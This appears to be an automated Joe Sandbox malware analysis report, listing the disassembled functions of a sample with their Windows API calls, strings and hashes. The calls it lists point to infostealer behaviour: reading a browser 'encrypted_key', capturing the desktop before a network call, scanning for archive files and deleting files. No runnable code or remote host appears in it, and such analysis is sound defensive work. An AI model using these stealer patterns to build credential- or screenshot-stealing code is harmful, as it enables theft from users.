Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF1E6D: GetSystemTime.KERNEL32(?,010157AE,?), ref: 00FF1E9C

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

CopyFileA.KERNEL32(?,?,00000001), ref: 00FEADC4
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FEAECE
HeapAlloc.KERNEL32(00000000), ref: 00FEAED5
StrCmpCA.SHLWAPI(?,01016410,00000000), ref: 00FEAF86
StrCmpCA.SHLWAPI(?,01016414), ref: 00FEAFAE
lstrcatA.KERNEL32(00000000,?), ref: 00FEAFD2
lstrcatA.KERNEL32(00000000,01016418), ref: 00FEAFDE
lstrcatA.KERNEL32(00000000,?), ref: 00FEAFE8
lstrcatA.KERNEL32(00000000,0101641C), ref: 00FEAFF4
lstrcatA.KERNEL32(00000000,?), ref: 00FEAFFE
lstrcatA.KERNEL32(00000000,01016420), ref: 00FEB00A
lstrcatA.KERNEL32(00000000,?), ref: 00FEB014
lstrcatA.KERNEL32(00000000,01016424), ref: 00FEB020
lstrcatA.KERNEL32(00000000,?), ref: 00FEB02A
lstrcatA.KERNEL32(00000000,01016428), ref: 00FEB036
lstrcatA.KERNEL32(00000000,?), ref: 00FEB040
lstrcatA.KERNEL32(00000000,0101642C), ref: 00FEB04C
lstrcatA.KERNEL32(00000000,?), ref: 00FEB056
lstrcatA.KERNEL32(00000000,01016430), ref: 00FEB062
lstrlenA.KERNEL32(00000000), ref: 00FEB0B4
lstrlenA.KERNEL32(?), ref: 00FEB0CF
DeleteFileA.KERNEL32(?), ref: 00FEB112

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocCopyDeleteProcessSystemTime
String ID:
API String ID: 1139693110-0
Opcode ID: 1421e81c594acfa3fdd186d61f3e22c2636d381718280dd3ccf53d636949645f
Instruction ID: c05e4df193b38fd2a88cf346fa60c6941cc2ef6ab6a73b3b642651b9a06f2af7
Opcode Fuzzy Hash: 1421e81c594acfa3fdd186d61f3e22c2636d381718280dd3ccf53d636949645f
Instruction Fuzzy Hash: FBC11732900109AFDF51BBA1ED4A8EE7B79BF14301F514025F701B7166DBBA6E06AF90

Function 00FFB2F2 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,771A83C0,00000000,00FFBFDD,?), ref: 00FFB2F7
StrCmpCA.SHLWAPI(771A83C0,01015154), ref: 00FFB325
StrCmpCA.SHLWAPI(771A83C0,.zip), ref: 00FFB335
StrCmpCA.SHLWAPI(771A83C0,.zoo), ref: 00FFB341
StrCmpCA.SHLWAPI(771A83C0,.arc), ref: 00FFB34D
StrCmpCA.SHLWAPI(771A83C0,.lzh), ref: 00FFB359
StrCmpCA.SHLWAPI(771A83C0,.arj), ref: 00FFB365
StrCmpCA.SHLWAPI(771A83C0,.gz), ref: 00FFB371
StrCmpCA.SHLWAPI(771A83C0,.tgz), ref: 00FFB37D

Strings

.tgz, xrefs: 00FFB377
.gz, xrefs: 00FFB36B
.arc, xrefs: 00FFB347
.zoo, xrefs: 00FFB33B
.zip, xrefs: 00FFB32F
.lzh, xrefs: 00FFB353
.arj, xrefs: 00FFB35F

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 17af65b81cee03dbe965f2d880e491cf6bc9cdf723c40b889a3502d13bdfd3ae
Instruction ID: 4f933e8cf5bf808964542731e9ef946f4fd1a8607ef470fc4e872df71532037a
Opcode Fuzzy Hash: 17af65b81cee03dbe965f2d880e491cf6bc9cdf723c40b889a3502d13bdfd3ae
Instruction Fuzzy Hash: 06017525EC532FA15B222232DC55E7E2E5D8FC3FE47440519EA40EE068EBDC884375B2

Function 6CD4DA70 Relevance: 26.6, APIs: 9, Strings: 6, Instructions: 362libraryloadersynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD4A9E0: SetLastError.KERNEL32(00000000), ref: 6CD4AAA7
Part of subcall function 6CD4A9E0: GetCurrentDirectoryW.KERNEL32(00000000,00000002), ref: 6CD4AAAF
Part of subcall function 6CD4A9E0: GetLastError.KERNEL32 ref: 6CD4AABB
Part of subcall function 6CD4A9E0: GetLastError.KERNEL32 ref: 6CD4AACD

GetCurrentProcess.KERNEL32 ref: 6CD4DC12
GetCurrentThread.KERNEL32 ref: 6CD4DC1B
RtlCaptureContext.KERNEL32(?), ref: 6CD4DC3B
GetProcAddress.KERNEL32(SymFunctionTableAccess64), ref: 6CD4DC7D
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6CD4DCA7
GetCurrentProcess.KERNEL32 ref: 6CD4DCBC
GetProcAddress.KERNEL32(StackWalkEx), ref: 6CD4DCDF
ReleaseMutex.KERNEL32(?), ref: 6CD4DE01
GetProcAddress.KERNEL32(StackWalk64), ref: 6CD4DF34

Part of subcall function 6CD1AC00: HeapFree.KERNEL32(00000000,0000000C), ref: 6CD4EBD8

Strings

StackWalkEx, xrefs: 6CD4DCD4
stack backtrace:, xrefs: 6CD4DB97
SymFunctionTableAccess64, xrefs: 6CD4DC72
SymGetModuleBase64, xrefs: 6CD4DC9C
StackWalk64, xrefs: 6CD4DF29
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...], xrefs: 6CD4DE28

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: AddressCurrentProc$ErrorLast$Process$CaptureContextDirectoryFreeHeapMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...]$stack backtrace:
API String ID: 2896442597-500235477
Opcode ID: 99ad8b1cad08acf21f2f89f1263d36b147815fb07c4ca711ae2c04d708c33f2e
Instruction ID: 0b4084f880e067f63ea27422850da9bf7cb024210a3f577afda782219c2f371c
Opcode Fuzzy Hash: 99ad8b1cad08acf21f2f89f1263d36b147815fb07c4ca711ae2c04d708c33f2e
Instruction Fuzzy Hash: 38F118B5500B00DFE721CF25C945B93BBF4BB05708F10891DE6AA87AA1DB71B549CB61

Function 00FF3785 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00FF37C7
StrCmpCA.SHLWAPI(?,true), ref: 00FF3889

Part of subcall function 00FF076C: lstrlenA.KERNEL32(?,?,00FF733C,0101572F,0101572E,?,?,?,?,00FF8011), ref: 00FF0772
Part of subcall function 00FF076C: lstrcpyA.KERNEL32(00000000,00000000,?,00FF733C,0101572F,0101572E,?,?,?,?,00FF8011), ref: 00FF07A4

lstrcpyA.KERNEL32(?,?), ref: 00FF394B
lstrcpyA.KERNEL32(?,00000000), ref: 00FF397C
lstrcpyA.KERNEL32(?,00000000), ref: 00FF39B8
lstrcpyA.KERNEL32(?,00000000), ref: 00FF39F4
lstrcpyA.KERNEL32(?,00000000), ref: 00FF3A30
lstrcpyA.KERNEL32(?,00000000), ref: 00FF3A6C
lstrcpyA.KERNEL32(?,00000000), ref: 00FF3AA8
strtok_s.MSVCRT ref: 00FF3B6C

Strings

true, xrefs: 00FF3883
false, xrefs: 00FF38A2

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true
API String ID: 2116072422-2658103896
Opcode ID: 277d730833c9b519a6dd3a84e4988a883d4c6e24e4e3937b7007c6b05de3468d
Instruction ID: 63cc36099cb90757b61db3d95bdb3d4e952da4934930f8a7b1d568c215747574
Opcode Fuzzy Hash: 277d730833c9b519a6dd3a84e4988a883d4c6e24e4e3937b7007c6b05de3468d
Instruction Fuzzy Hash: 98B1387680021C9FCB60EF55DC89AE977B9BF14300F0001E5EA49A7266EB75AF85EF40

Function 00FF3B9F Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,block,?,?,00FF761B), ref: 00FF3BB4
ExitProcess.KERNEL32 ref: 00FF3BBF
strtok_s.MSVCRT ref: 00FF3BD0

Strings

block, xrefs: 00FF3BA8

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: d8e5aa81435c20382a1671c8f6e1b9507b99018f2856678f7176ffa6c9486bf1
Instruction ID: f5cda09aab5c5357a8b48cfe8d2d810bbb866ff07fdc5ee2f5db86b88841afad
Opcode Fuzzy Hash: d8e5aa81435c20382a1671c8f6e1b9507b99018f2856678f7176ffa6c9486bf1
Instruction Fuzzy Hash: EC412FB1A4460EEFCB205F71EC49A7E7F68BF40B49B508429E742EA518E734A611EB50

Function 6CD52D00 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 232libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,00000000,?), ref: 6CD52D19
GetProcAddress.KERNEL32(SymFromInlineContextW), ref: 6CD52D49
GetProcAddress.KERNEL32(SymGetLineFromInlineContextW), ref: 6CD52D7C
GetProcAddress.KERNEL32(SymAddrIncludeInlineTrace), ref: 6CD52DE1
GetProcAddress.KERNEL32(SymQueryInlineTrace), ref: 6CD52E0A

Strings

X, xrefs: 6CD52F13
SymFromInlineContextW, xrefs: 6CD52D3E
SymGetLineFromInlineContextW, xrefs: 6CD52D71
SymAddrIncludeInlineTrace, xrefs: 6CD52DD6
SymQueryInlineTrace, xrefs: 6CD52DFF

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: SymAddrIncludeInlineTrace$SymFromInlineContextW$SymGetLineFromInlineContextW$SymQueryInlineTrace$X
API String ID: 2190909847-1953985048
Opcode ID: 8b6208bfa73736ebd6fb7dfac1978a265c11af9c9bdd5f5666560c0a5cebc774
Instruction ID: a668a4a1ba0d88e82470fc974a9a2df9413c230d0e55ea10ed351eaa843fe225
Opcode Fuzzy Hash: 8b6208bfa73736ebd6fb7dfac1978a265c11af9c9bdd5f5666560c0a5cebc774
Instruction Fuzzy Hash: 41A16270608781EBEB218F19C885BDBB7F8FF89318F40461DF69897260E772D5458B92

Function 00FF59EA Relevance: 18.2, APIs: 12, Instructions: 188stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF5A22
_memset.LIBCMT ref: 00FF5A33

Part of subcall function 00FF1FDF: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00FF2020

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 00FF5A5E
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 00FF5A7C
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 00FF5A90
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 00FF5AA3

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF1FB5: GetFileAttributesA.KERNEL32(?,?,?,00FEDC33,?,?,?), ref: 00FF1FBC

Part of subcall function 00FE87ED: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,00FECE1A,?,?), ref: 00FE8833

Part of subcall function 00FE85FA: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8615
Part of subcall function 00FE85FA: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE862C
Part of subcall function 00FE85FA: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8643
Part of subcall function 00FE85FA: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE865A
Part of subcall function 00FE85FA: CloseHandle.KERNEL32(?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8682

Part of subcall function 00FF240A: GlobalAlloc.KERNEL32(00000000,?,?,?,?,?,00FF5B39,?), ref: 00FF2415

StrStrA.SHLWAPI(00000000), ref: 00FF5B47
GlobalFree.KERNEL32(?), ref: 00FF5C69

Part of subcall function 00FE8696: CryptStringToBinaryA.CRYPT32(00FE6716,00000000,00000001,00000000,?,00000000,00000000), ref: 00FE86AE
Part of subcall function 00FE8696: LocalAlloc.KERNEL32(00000040,?,?,?,00FE6716,?), ref: 00FE86BC
Part of subcall function 00FE8696: CryptStringToBinaryA.CRYPT32(00FE6716,00000000,00000001,00000000,?,00000000,00000000), ref: 00FE86D2
Part of subcall function 00FE8696: LocalFree.KERNEL32(?,?,?,00FE6716,?), ref: 00FE86E1

lstrcatA.KERNEL32(?,00000000), ref: 00FF5BF5
StrCmpCA.SHLWAPI(?,01015637), ref: 00FF5C12
lstrcatA.KERNEL32(?,?), ref: 00FF5C31
lstrcatA.KERNEL32(?,01015A74), ref: 00FF5C42

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$File$AllocLocal$BinaryCryptFreeGlobalString_memset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 4109952398-0
Opcode ID: 01376aeb6a5f0744accc40adfa1c3aacc59d38c1e6791ee07d32ed401e5681ba
Instruction ID: 43586fbd64a709da6f36c1259955fe695e2d8d6697c1ca35761a4d0ff3639890
Opcode Fuzzy Hash: 01376aeb6a5f0744accc40adfa1c3aacc59d38c1e6791ee07d32ed401e5681ba
Instruction Fuzzy Hash: B8712C72C0021D9FDF60DF24DC45ADAB7BABF98310F0445E5E608A3251EB369BA59F50

Function 00FF2178 Relevance: 18.1, APIs: 12, Instructions: 147COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00FF21B9
GetDesktopWindow.USER32 ref: 00FF21C7
GetWindowRect.USER32(00000000,?), ref: 00FF21D4
SelectObject.GDI32(?,00000000), ref: 00FF2201
GetHGlobalFromStream.COMBASE(?,?), ref: 00FF226C
GlobalLock.KERNEL32(?), ref: 00FF2275
GlobalSize.KERNEL32(?), ref: 00FF2281

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE5474: lstrlenA.KERNEL32(?), ref: 00FE550B
Part of subcall function 00FE5474: StrCmpCA.SHLWAPI(?,010159C7,010159C6,010159C3,010159C2), ref: 00FE557A
Part of subcall function 00FE5474: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00FE559C

SelectObject.GDI32(?,?), ref: 00FF22DF
DeleteObject.GDI32(?), ref: 00FF22FA
DeleteObject.GDI32(?), ref: 00FF2303
ReleaseDC.USER32(00000000,00000000), ref: 00FF230B
CloseWindow.USER32(00000000), ref: 00FF2312

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
